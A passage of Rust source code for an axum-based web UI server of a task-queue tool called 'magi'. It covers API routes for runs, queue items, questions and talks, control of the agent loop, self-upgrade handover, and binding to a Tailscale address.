1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{daemon, report, repos, run, talk, updater};
125
126pub const DEFAULT_PORT: u16 = 7878;
128
129const POLL: Duration = Duration::from_secs(1);
131
132const KEEPALIVE: Duration = Duration::from_secs(15);
136
137const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
148
149const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
152
153const LIST_DEFAULT: usize = 50;
157const LIST_MAX: usize = 500;
159
160const TITLE_MAX: usize = 72;
162
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
172
173const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
179
180const FILENAME_HEADER: &str = "x-filename";
184
185const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
208 font-src data:; base-uri 'none'; form-action 'none'; \
209 frame-ancestors 'self'";
210
211const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
212const APP_CSS: &str = include_str!("../assets/ui/app.css");
213const APP_JS: &str = include_str!("../assets/ui/app.js");
214
215#[derive(Debug, Clone, Copy, PartialEq, Eq)]
217pub enum Bind {
218 Auto,
220 Addr(IpAddr),
222}
223
224impl std::str::FromStr for Bind {
225 type Err = String;
226
227 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
231 if s.eq_ignore_ascii_case("auto") {
232 return Ok(Self::Auto);
233 }
234 s.parse()
235 .map(Self::Addr)
236 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
237 }
238}
239
240impl std::fmt::Display for Bind {
241 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
242 match self {
243 Self::Auto => f.write_str("auto"),
244 Self::Addr(addr) => write!(f, "{addr}"),
245 }
246 }
247}
248
249#[derive(Debug, Clone)]
251pub struct Opts {
252 pub bind: Bind,
254 pub port: u16,
256 pub repo: PathBuf,
258 pub open: bool,
261 pub merge: Option<String>,
269}
270
271impl Default for Opts {
272 fn default() -> Self {
273 Self {
274 bind: Bind::Auto,
275 port: DEFAULT_PORT,
276 repo: PathBuf::from("."),
277 open: false,
278 merge: None,
279 }
280 }
281}
282
283#[derive(Debug, Clone)]
289pub struct Ui {
290 queue: Queue,
291 questions: Questions,
292 talks: Talks,
293 runs: PathBuf,
294 home: PathBuf,
295 repo: PathBuf,
296 worktrees_root: PathBuf,
303 talk_turns: Arc<Mutex<HashSet<String>>>,
311 resuming: Arc<Mutex<HashSet<String>>>,
319 repos_cache: repos::Cache,
323 merge: Option<String>,
325 looping: Arc<Mutex<LoopState>>,
327 launch: Launch,
339}
340
341impl Ui {
342 pub fn new(
344 queue: Queue,
345 questions: Questions,
346 talks: Talks,
347 runs: PathBuf,
348 home: PathBuf,
349 repo: PathBuf,
350 ) -> Self {
351 Self {
352 queue,
353 questions,
354 talks,
355 runs,
356 home,
357 repo,
358 worktrees_root: run::default_worktree_root(),
362 talk_turns: Arc::default(),
363 resuming: Arc::default(),
364 repos_cache: repos::Cache::new(),
365 merge: None,
366 looping: Arc::default(),
367 launch: launch_daemon,
368 }
369 }
370
371 pub fn open(repo: PathBuf) -> Self {
374 Self::new(
375 Queue::open(),
376 Questions::open(),
377 Talks::open(),
378 run::runs_root(),
379 run::home(),
380 repo,
381 )
382 }
383
384 #[must_use]
391 pub fn with_merge(mut self, merge: Option<String>) -> Self {
392 self.merge = merge;
393 self
394 }
395
396 #[must_use]
401 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
402 self.worktrees_root = root;
403 self
404 }
405
406 #[cfg(test)]
411 #[must_use]
412 fn with_launch(mut self, launch: Launch) -> Self {
413 self.launch = launch;
414 self
415 }
416
417 fn looping(&self) -> Arc<Mutex<LoopState>> {
419 Arc::clone(&self.looping)
420 }
421
422 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
429 if let Some(other) = foreign {
430 return Err(ApiError::conflict(format!(
431 "{} is already running the loop, so this one will not start a \
432 second: two loops on one queue race for the same claims and \
433 burn the agent quota twice over. Stop it where it was \
434 started.",
435 other.who()
436 )));
437 }
438 let mut state = self.lock_loop();
439 if state.live.as_ref().is_some_and(Live::alive) {
440 return Err(ApiError::conflict(format!(
441 "this magi web process (pid {}) is already running the loop",
442 std::process::id()
443 )));
444 }
445
446 let stop = daemon::Stop::new();
447 let opts = daemon::Opts {
451 repo: self.repo.clone(),
452 merge: self.merge.clone(),
453 worktrees_root: Some(self.worktrees_root.clone()),
460 ..daemon::Opts::default()
461 };
462 let launch = self.launch;
463 let looping = Arc::clone(&self.looping);
464 let handle = tokio::spawn({
465 let opts = opts.clone();
466 let stop = stop.clone();
467 async move {
468 let failure = match launch(opts, stop).await {
469 Ok(()) => None,
470 Err(e) => Some(format!("{e:#}")),
471 };
472 match &failure {
473 Some(why) => tracing::error!("the loop stopped: {why}"),
474 None => tracing::info!("the loop stopped"),
475 }
476 let mut state = lock_or_recover(&looping);
482 state.live = None;
483 state.last_error = failure;
484 state.rev += 1;
485 }
486 });
487 tracing::info!(
488 "the loop is now running in this process: repo {}, merge {}",
489 opts.repo.display(),
490 opts.merge.as_deref().unwrap_or("as the config says")
491 );
492 state.live = Some(Live { stop, handle, opts });
493 state.last_error = None;
496 state.rev += 1;
497 Ok(())
498 }
499
500 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
506 if let Some(other) = foreign {
507 return Err(ApiError::conflict(format!(
508 "the loop belongs to {}, and this process cannot stop it - \
509 stop it where it was started. A button that silently did \
510 nothing would be worse than this refusal.",
511 other.who()
512 )));
513 }
514 let mut state = self.lock_loop();
515 let Some(live) = state.live.as_ref() else {
516 return Ok(());
517 };
518 if live.stop.stopped() && (!park || live.stop.parking()) {
522 return Ok(());
523 }
524 if park {
525 live.stop.park();
526 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
527 } else {
528 live.stop.stop();
529 tracing::info!("the loop was asked to stop; a run in flight is finished first");
530 }
531 state.rev += 1;
532 Ok(())
533 }
534
535 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
542 let state = self.lock_loop();
543 let live = state.live.as_ref().filter(|live| live.alive());
546 LoopView {
547 running: live.is_some(),
548 stopping: live.is_some_and(|live| live.stop.finishing()),
549 parking: live.is_some_and(|live| live.stop.parking()),
550 owned: live.is_some(),
551 repo: live
552 .map_or(&self.repo, |live| &live.opts.repo)
553 .display()
554 .to_string(),
555 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
556 last_error: state.last_error.clone(),
557 daemon: DaemonView::of(reading),
558 }
559 }
560
561 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
563 lock_or_recover(&self.looping)
564 }
565
566 fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
589 let mut live = self
590 .talk_turns
591 .lock()
592 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
593 if !live.insert(id.to_owned()) {
594 return Err(ApiError::conflict(format!(
595 "talk {id} is already taking a turn"
596 )));
597 }
598 Ok(TalkTurnGuard {
599 talk: id.to_owned(),
600 turns: Arc::clone(&self.talk_turns),
601 })
602 }
603
604 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
611 let parking = {
612 let mut state = self.lock_loop();
613 let Some(live) = state.live.as_ref() else {
614 return Ok(None);
615 };
616 let busy = live.stop.busy_now();
617 live.stop.park();
618 state.rev += 1;
619 busy
620 };
621 Ok(if parking {
622 daemon::current_work(&self.home, jiff::Timestamp::now())
627 .into_iter()
628 .next()
629 .map(|c| c.run)
630 } else {
631 None
632 })
633 }
634
635 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
639 let mut live = self
640 .resuming
641 .lock()
642 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
643 if !live.insert(id.to_owned()) {
644 return Err(ApiError::conflict(format!(
645 "run {id} is already being resumed"
646 )));
647 }
648 Ok(ResumeGuard {
649 run: id.to_owned(),
650 resuming: Arc::clone(&self.resuming),
651 })
652 }
653
654 pub fn router(self) -> Router {
662 Router::new()
663 .route("/", get(index))
664 .route("/app.css", get(app_css))
665 .route("/app.js", get(app_js))
666 .route("/api/health", get(health))
667 .route("/api/loop", get(loop_get).post(loop_post))
668 .route("/api/upgrade", post(upgrade_post))
669 .route("/api/runs", get(runs_list))
670 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
671 .route("/api/runs/{id}/report", get(run_report))
672 .route("/api/runs/{id}/fold", post(run_fold))
673 .route("/api/runs/{id}/resume", post(run_resume))
674 .route("/api/queue", get(queue_list))
675 .route("/api/queue/{id}", delete(queue_delete))
676 .route("/api/repos", get(repos_list))
677 .route("/api/queue/{id}/hold", post(queue_hold))
678 .route("/api/queue/{id}/release", post(queue_release))
679 .route("/api/queue/{id}/priority", post(queue_priority))
680 .route("/api/queue/{id}/edit", post(queue_edit))
681 .route("/api/queue/{id}/done", post(queue_done))
682 .route("/api/questions", get(questions_list))
683 .route("/api/questions/{id}/answer", post(question_answer))
684 .route("/api/questions/{id}/say", post(question_say))
685 .route("/api/questions/{id}/panel", get(question_panel))
686 .route("/api/questions/{id}/panel/index.html", get(question_panel))
694 .route("/api/questions/{id}/panel/{name}", get(question_asset))
695 .route("/api/questions/{id}/asset/{name}", get(question_asset))
696 .route("/api/talks", get(talks_list).post(talk_post))
697 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
698 .route("/api/talks/{id}/say", post(talk_say))
699 .route("/api/talks/{id}/close", post(talk_close))
700 .route("/api/talks/{id}/reopen", post(talk_reopen))
701 .route(
707 "/api/talks/{id}/attachments",
708 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
709 )
710 .route(
711 "/api/talks/{id}/attachments/{att}",
712 get(talk_attachment_get),
713 )
714 .route("/api/events", get(events))
715 .with_state(Arc::new(self))
716 }
717}
718
719#[derive(Debug)]
725struct TalkTurnGuard {
726 talk: String,
727 turns: Arc<Mutex<HashSet<String>>>,
728}
729
730impl Drop for TalkTurnGuard {
731 fn drop(&mut self) {
732 if let Ok(mut live) = self.turns.lock() {
733 live.remove(&self.talk);
734 }
735 }
736}
737
738struct ResumeGuard {
740 run: String,
741 resuming: Arc<Mutex<HashSet<String>>>,
742}
743
744impl Drop for ResumeGuard {
745 fn drop(&mut self) {
746 if let Ok(mut live) = self.resuming.lock() {
747 live.remove(&self.run);
748 }
749 }
750}
751
752async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
762 const WINDOW: Duration = Duration::from_secs(10);
763 const GAP: Duration = Duration::from_millis(250);
764
765 let deadline = std::time::Instant::now() + WINDOW;
766 let mut said = false;
767 loop {
768 match tokio::net::TcpListener::bind(socket).await {
769 Ok(listener) => return Ok(listener),
770 Err(e)
771 if e.kind() == std::io::ErrorKind::AddrInUse
772 && std::time::Instant::now() < deadline =>
773 {
774 if !said {
775 said = true;
776 tracing::info!(
777 "{socket} is still held - waiting up to {}s for it, \
778 which is what a restart looks like from here",
779 WINDOW.as_secs()
780 );
781 }
782 tokio::time::sleep(GAP).await;
783 }
784 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
785 }
786 }
787}
788
789static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
792
793fn spawn_successor() -> Result<()> {
805 let exe = std::env::current_exe().context("find this binary")?;
806 let args: Vec<String> = std::env::args().skip(1).collect();
807 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
808
809 let mut cmd = std::process::Command::new(&exe);
810 cmd.args(&args)
811 .stdin(std::process::Stdio::null())
812 .stdout(std::process::Stdio::null())
813 .stderr(std::process::Stdio::null());
814 #[cfg(windows)]
815 {
816 use std::os::windows::process::CommandExt as _;
817 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
820 }
821 cmd.spawn().context("start the successor")?;
822 Ok(())
823}
824
825pub async fn serve(opts: Opts) -> Result<()> {
850 let (addr, warning) = resolve_bind(&opts.bind);
851 if let Some(warning) = warning {
852 tracing::warn!("{warning}");
853 }
854
855 report::set_color(false);
861
862 let ui = Ui::open(opts.repo).with_merge(opts.merge);
863 let home = ui.home.clone();
868 let repo = ui.repo.clone();
869 updater::reconcile_after_restart(&home);
874 tokio::spawn(run_update_recheck(repo, home.clone()));
883 let looping = ui.looping();
884 let socket = SocketAddr::new(addr, opts.port);
885 let listener = bind_waiting(socket).await?;
886 let url = format!("http://{addr}:{}", opts.port);
887 tracing::info!(
888 "magi web UI on {url} - there is no authentication, so anyone who can \
889 reach this address can file and hold tasks: the tailnet is the \
890 security boundary"
891 );
892 tracing::info!(
893 "the queue loop is not running yet - start it from the UI, which is \
894 the whole reason this process can: nothing in the queue moves until \
895 something is running the loop"
896 );
897 if opts.open {
898 println!("{url}");
902 }
903
904 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
907 let interrupted = async {
908 if tokio::signal::ctrl_c().await.is_err() {
909 std::future::pending::<()>().await;
914 }
915 };
916 let handover = HANDOVER.notified();
917 tokio::select! {
918 joined = &mut served => match joined {
919 Ok(outcome) => outcome.context("serve the web UI"),
920 Err(e) => Err(e).context("the task serving the web UI ended"),
921 },
922 () = interrupted => {
923 tracing::info!("shutting down the web UI");
924 finish_loop(&looping).await;
925 Ok(())
926 }
927 () = handover => {
928 tracing::info!("upgraded - handing this address to the successor");
929 hand_over(&home, &looping, served, spawn_successor).await
930 }
931 }
932}
933
934async fn hand_over(
962 home: &FsPath,
963 looping: &Mutex<LoopState>,
964 served: tokio::task::JoinHandle<std::io::Result<()>>,
965 successor: impl FnOnce() -> Result<()>,
966) -> Result<()> {
967 if let Some(mut progress) = updater::read_progress(home) {
968 progress.advance(updater::Stage::Parking);
969 let _ = updater::write_progress(home, &progress);
970 }
971 finish_loop(looping).await;
972 served.abort();
973 let _ = served.await;
974 if let Some(mut progress) = updater::read_progress(home) {
975 progress.advance(updater::Stage::Restarting);
976 let _ = updater::write_progress(home, &progress);
977 }
978 successor()
979}
980
981async fn finish_loop(state: &Mutex<LoopState>) {
988 let live = lock_or_recover(state).live.take();
989 let Some(live) = live else { return };
990 live.stop.stop();
991 lock_or_recover(state).rev += 1;
992 tracing::info!("waiting for the loop to finish the run in flight");
993 let _ = live.handle.await;
996}
997
998pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1004 match bind {
1005 Bind::Addr(addr) => (*addr, None),
1006 Bind::Auto => match tailscale_ip() {
1007 Ok(ip) => (IpAddr::V4(ip), None),
1008 Err(why) => (
1009 IpAddr::V4(Ipv4Addr::LOCALHOST),
1010 Some(format!(
1011 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1012 local-only and a phone cannot reach it; start Tailscale \
1013 or pass --bind <addr>"
1014 )),
1015 ),
1016 },
1017 }
1018}
1019
1020fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1028 let out = std::process::Command::new("tailscale")
1029 .args(["ip", "-4"])
1030 .quiet()
1031 .output()
1032 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1033 if !out.status.success() {
1034 let why = String::from_utf8_lossy(&out.stderr);
1035 let why = why.trim();
1036 return Err(format!(
1037 "`tailscale ip -4` failed ({}){}",
1038 out.status,
1039 if why.is_empty() {
1040 String::new()
1041 } else {
1042 format!(": {why}")
1043 }
1044 ));
1045 }
1046 String::from_utf8_lossy(&out.stdout)
1047 .lines()
1048 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1049 .find(is_tailnet)
1050 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1051}
1052
1053fn is_tailnet(ip: &Ipv4Addr) -> bool {
1055 let o = ip.octets();
1056 o[0] == 100 && (64..=127).contains(&o[1])
1057}
1058
1059type ApiResult<T> = std::result::Result<T, ApiError>;
1063
1064#[derive(Debug)]
1066struct ApiError {
1067 status: StatusCode,
1068 message: String,
1069}
1070
1071impl ApiError {
1072 fn bad_request(message: impl Into<String>) -> Self {
1074 Self {
1075 status: StatusCode::BAD_REQUEST,
1076 message: message.into(),
1077 }
1078 }
1079
1080 fn not_found(message: impl Into<String>) -> Self {
1082 Self {
1083 status: StatusCode::NOT_FOUND,
1084 message: message.into(),
1085 }
1086 }
1087
1088 fn with_status(mut self, status: StatusCode) -> Self {
1091 self.status = status;
1092 self
1093 }
1094
1095 fn bad_request_from(e: anyhow::Error) -> Self {
1099 Self::bad_request(format!("{e:#}"))
1100 }
1101
1102 fn conflict(message: impl Into<String>) -> Self {
1103 Self {
1104 status: StatusCode::CONFLICT,
1105 message: message.into(),
1106 }
1107 }
1108
1109 fn internal(message: impl Into<String>) -> Self {
1111 Self {
1112 status: StatusCode::INTERNAL_SERVER_ERROR,
1113 message: message.into(),
1114 }
1115 }
1116}
1117
1118impl From<anyhow::Error> for ApiError {
1119 fn from(e: anyhow::Error) -> Self {
1124 Self::internal(format!("{e:#}"))
1125 }
1126}
1127
1128impl IntoResponse for ApiError {
1129 fn into_response(self) -> Response {
1130 let body = serde_json::json!({ "error": self.message });
1131 (self.status, Json(body)).into_response()
1132 }
1133}
1134
1135async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1144where
1145 T: Send + 'static,
1146{
1147 match tokio::task::spawn_blocking(job).await {
1148 Ok(result) => result,
1149 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1150 }
1151}
1152
1153const ASSET_CACHE: &str = "no-cache, must-revalidate";
1171
1172fn asset_etag() -> &'static str {
1179 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1180 format!(
1181 "\"{}-{}\"",
1182 env!("CARGO_PKG_VERSION"),
1183 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1188 )
1189 });
1190 &TAG
1191}
1192
1193fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1195 [
1196 (header::CONTENT_TYPE, mime),
1197 (header::CACHE_CONTROL, ASSET_CACHE),
1198 (header::ETAG, asset_etag()),
1199 ]
1200}
1201
1202fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1210 let tag = asset_etag();
1211 let known = headers
1212 .get(header::IF_NONE_MATCH)
1213 .and_then(|v| v.to_str().ok())
1214 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1218 if known {
1219 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1220 }
1221 (asset_headers(mime), body).into_response()
1222}
1223
1224async fn index(headers: header::HeaderMap) -> Response {
1225 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1226}
1227
1228async fn app_css(headers: header::HeaderMap) -> Response {
1229 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1230}
1231
1232async fn app_js(headers: header::HeaderMap) -> Response {
1233 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1234}
1235
1236#[derive(Debug, Serialize)]
1238struct HealthView {
1239 version: &'static str,
1240 home: String,
1241 queue_rev: u64,
1242 runs_rev: u64,
1243 questions_rev: u64,
1255 talks_rev: u64,
1257 loop_rev: u64,
1262 runs_unreadable: usize,
1270 disk: DiskView,
1278 questions_open: usize,
1284 questions_needs_owner: usize,
1294 daemon: DaemonView,
1295 #[serde(rename = "loop")]
1301 looping: LoopView,
1302 update: UpdateView,
1309 upgrade: Option<UpgradeProgressView>,
1313}
1314
1315#[derive(Debug, Serialize)]
1322struct UpdateView {
1323 available: bool,
1325 to: Option<String>,
1327}
1328
1329#[derive(Debug, Serialize)]
1331struct UpgradeProgressView {
1332 stage: updater::Stage,
1333 from: String,
1334 to: Option<String>,
1335 waiting_on: Option<String>,
1338 started_at: Timestamp,
1339 updated_at: Timestamp,
1340 detail: Option<String>,
1341}
1342
1343fn should_spawn_recheck(cfg: &Update) -> bool {
1350 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1351}
1352
1353fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1365 if progress.is_some_and(|p| !p.stage.terminal()) {
1366 return false;
1367 }
1368 checker.should_check()
1369}
1370
1371fn recheck_poll_period(cfg: &Update) -> Duration {
1384 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1385}
1386
1387async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1411 loop {
1412 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1413 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1414 if !should_spawn_recheck(&cfg.update) {
1415 continue;
1416 }
1417 let Some(checker) = updater::Checker::new(&cfg.update) else {
1418 continue;
1419 };
1420 let progress = updater::read_progress(&home);
1421 if !update_recheck_due(&checker, progress.as_ref()) {
1422 continue;
1423 }
1424 if let Err(e) = checker.newer_release().await {
1425 tracing::warn!("background update recheck failed: {e:#}");
1426 }
1427 }
1428}
1429
1430fn cached_update_view(repo: &FsPath) -> UpdateView {
1436 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1437 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1438 match latest {
1439 Some(latest) => UpdateView {
1440 available: true,
1441 to: Some(latest.tag_name),
1442 },
1443 None => UpdateView {
1444 available: false,
1445 to: None,
1446 },
1447 }
1448}
1449
1450fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1456 let waiting_on = (progress.stage == updater::Stage::Parking)
1457 .then_some(progress.parked_run.as_deref())
1458 .flatten()
1459 .and_then(|id| read_run(&ui.runs, id).ok())
1460 .map(|run| {
1461 format!(
1462 "run {} is finishing {} before the address is handed over",
1463 run.short(),
1464 run.status.as_str()
1465 )
1466 });
1467 UpgradeProgressView {
1468 stage: progress.stage,
1469 from: progress.from,
1470 to: progress.to,
1471 waiting_on,
1472 started_at: progress.started_at,
1473 updated_at: progress.updated_at,
1474 detail: progress.detail,
1475 }
1476}
1477
1478#[derive(Debug, Serialize)]
1483struct DiskView {
1484 #[serde(skip_serializing_if = "Option::is_none")]
1486 free_bytes: Option<u64>,
1487 runs_bytes: u64,
1489 worktrees_bytes: u64,
1491 #[serde(skip_serializing_if = "Option::is_none")]
1493 cache_bytes: Option<u64>,
1494}
1495
1496impl DiskView {
1497 fn of(ui: &Ui) -> Self {
1499 let cache_bytes = Config::discover(&ui.repo, None)
1500 .ok()
1501 .and_then(|(cfg, _)| cfg.cache_dir())
1502 .map(|dir| crate::disk::dir_size(&dir));
1503 Self {
1504 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1505 runs_bytes: crate::disk::dir_size(&ui.runs),
1506 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1507 cache_bytes,
1508 }
1509 }
1510}
1511
1512#[derive(Debug, Serialize)]
1514struct DaemonView {
1515 running: bool,
1516 idle: Option<bool>,
1517 pid: Option<u32>,
1518 current: Vec<daemon::Current>,
1522 completed: Option<u64>,
1523 stale_for_secs: Option<i64>,
1524}
1525
1526impl DaemonView {
1527 fn of(status: Option<daemon::Reading>) -> Self {
1531 let Some(status) = status else {
1532 return Self {
1533 running: false,
1534 idle: None,
1535 pid: None,
1536 current: Vec::new(),
1537 completed: None,
1538 stale_for_secs: None,
1539 };
1540 };
1541 let now = Timestamp::now();
1542 let age = status.age_secs(now);
1543 Self {
1544 running: status.running(now),
1545 idle: Some(status.idle),
1546 pid: status.pid,
1547 current: status.current,
1548 completed: Some(status.completed),
1549 stale_for_secs: age,
1550 }
1551 }
1552}
1553
1554async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1555 blocking(move || {
1556 let reading = daemon::read_status(&ui.home);
1560 let loop_rev = ui.lock_loop().rev;
1564 let update = cached_update_view(&ui.repo);
1565 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1566 Ok(Json(HealthView {
1567 version: env!("CARGO_PKG_VERSION"),
1568 home: ui.home.display().to_string(),
1569 queue_rev: ui.queue.revision(),
1570 runs_rev: runs_revision(&ui.runs),
1571 questions_rev: ui.questions.revision(),
1572 talks_rev: ui.talks.revision(),
1573 loop_rev,
1574 runs_unreadable: runs_unreadable(&ui.runs),
1575 questions_open: ui.questions.count_open(),
1576 questions_needs_owner: ui.questions.count_needs_owner(),
1577 daemon: DaemonView::of(reading.clone()),
1578 looping: ui.loop_view(reading),
1579 disk: DiskView::of(&ui),
1580 update,
1581 upgrade,
1582 }))
1583 })
1584 .await
1585}
1586
1587#[derive(Debug, Serialize)]
1589struct LoopView {
1590 running: bool,
1592 stopping: bool,
1600 parking: bool,
1608 owned: bool,
1616 repo: String,
1619 merge: Option<String>,
1622 last_error: Option<String>,
1630 daemon: DaemonView,
1633}
1634
1635#[derive(Debug, Clone, Copy)]
1644struct Foreign {
1645 pid: Option<u32>,
1647}
1648
1649impl Foreign {
1650 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1653 let reading = reading?;
1654 if !reading.running(Timestamp::now()) {
1655 return None;
1656 }
1657 match reading.pid {
1658 Some(pid) if pid == std::process::id() => None,
1659 pid => Some(Self { pid }),
1663 }
1664 }
1665
1666 fn who(&self) -> String {
1669 match self.pid {
1670 Some(pid) => format!("another magi process (pid {pid})"),
1671 None => "another magi process".to_owned(),
1672 }
1673 }
1674}
1675
1676type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1681
1682fn launch_daemon(
1684 opts: daemon::Opts,
1685 stop: daemon::Stop,
1686) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1687 Box::pin(daemon::serve_until(opts, stop))
1688}
1689
1690#[derive(Debug, Default)]
1692struct LoopState {
1693 live: Option<Live>,
1695 rev: u64,
1703 last_error: Option<String>,
1706}
1707
1708#[derive(Debug)]
1710struct Live {
1711 stop: daemon::Stop,
1713 handle: tokio::task::JoinHandle<()>,
1718 opts: daemon::Opts,
1722}
1723
1724impl Live {
1725 fn alive(&self) -> bool {
1727 !self.handle.is_finished()
1728 }
1729}
1730
1731fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1738 state.lock().unwrap_or_else(PoisonError::into_inner)
1739}
1740
1741async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1743 blocking(move || {
1744 let reading = daemon::read_status(&ui.home);
1745 Ok(Json(ui.loop_view(reading)))
1746 })
1747 .await
1748}
1749
1750#[derive(Debug, Deserialize)]
1756#[serde(deny_unknown_fields)]
1757struct LoopCommand {
1758 running: bool,
1759 #[serde(default)]
1769 park: bool,
1770}
1771
1772async fn loop_post(
1780 State(ui): State<Arc<Ui>>,
1781 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1782) -> ApiResult<Json<LoopView>> {
1783 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1786 blocking(move || {
1787 let reading = daemon::read_status(&ui.home);
1788 let foreign = Foreign::of(reading.as_ref());
1789 if body.running {
1790 ui.start_loop(foreign)?;
1791 } else {
1792 ui.stop_loop(foreign, body.park)?;
1793 }
1794 Ok(Json(ui.loop_view(reading)))
1795 })
1796 .await
1797}
1798
1799#[derive(Debug, Serialize)]
1801struct UpgradeView {
1802 from: String,
1804 to: Option<String>,
1806 parked: Option<String>,
1808 detail: String,
1810}
1811
1812async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1836 let reading = daemon::read_status(&ui.home);
1837 if let Some(other) = Foreign::of(reading.as_ref()) {
1838 return Err(ApiError::conflict(format!(
1839 "the loop belongs to {}, so replacing this binary would leave \
1840 that process running an old one against the same queue. Upgrade \
1841 where it was started.",
1842 other.who()
1843 )));
1844 }
1845
1846 if crate::updater::disabled_by_env() {
1852 return Ok((
1853 StatusCode::OK,
1854 Json(UpgradeView {
1855 from: env!("CARGO_PKG_VERSION").to_owned(),
1856 to: None,
1857 parked: None,
1858 detail: format!(
1859 "Automatic updates are disabled by {}. Nothing was parked \
1860 and nothing restarted.",
1861 crate::updater::NO_AUTOUPDATE_ENV
1862 ),
1863 }),
1864 ));
1865 }
1866
1867 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1872 let from = env!("CARGO_PKG_VERSION").to_owned();
1873 let latest = match crate::updater::Checker::new(&cfg.update) {
1874 Some(checker) => checker
1875 .newer_release()
1876 .await
1877 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1878 None => None,
1879 };
1880 let Some(latest) = latest else {
1881 return Ok((
1882 StatusCode::OK,
1883 Json(UpgradeView {
1884 from,
